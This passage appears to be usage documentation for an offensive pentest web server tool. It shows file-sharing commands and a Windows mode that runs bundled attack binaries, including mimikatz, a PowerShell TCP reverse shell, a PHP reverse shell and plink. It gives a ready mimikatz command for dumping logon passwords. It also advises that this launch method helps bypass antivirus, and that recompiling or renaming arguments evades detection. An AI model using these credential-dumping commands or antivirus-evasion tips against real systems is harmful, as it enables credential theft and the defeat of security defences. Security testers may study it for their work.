Sharing /tmp/private on 8080 ...

Web server using private directory and root directory

Private folder on same directory

$ ./webserver-linux-amd64 web -private ThePrivateFolder -username nodauf -password nodauf
Sharing /tmp/ on 8080 ...
Sharing /tmp/ThePrivateFolder on 8080 ...

Different path for root and private directory

$ ./webserver-linux-amd64 web -private /tmp/private -root /home/nodauf -username nodauf -password nodauf
Sharing /home/nodauf on 8080 ...
Sharing /tmp/private on 8080 ...

Embedded binary (only on Windows)

List the embedded binaries:

C:UsersNodauf>.webserver.exe run  
You must specify a binary to run
  -args string
        Arguments for the binary
  -binary string
Binary to execute
  -help
        Print usage
  -list
        List the embedded files

Packaged Binaries:
Invoke-PowerShellTcp.ps1
mimikatz.exe
php-reverse-shell.php
plink.exe

Run binary with arguments:

C:UsersNodauf>.webserver.exe run -binary mimikatz.exe -args "privilege::debug sekurlsa::logonpasswords"
....

Running binary this way could help bypassing AV protections. Sometimes the arguments sent to the binary may be catch by the AV, if possible use the interactive CLI of the binary (like mimikatz) or recompile the binary to change the arguments name.
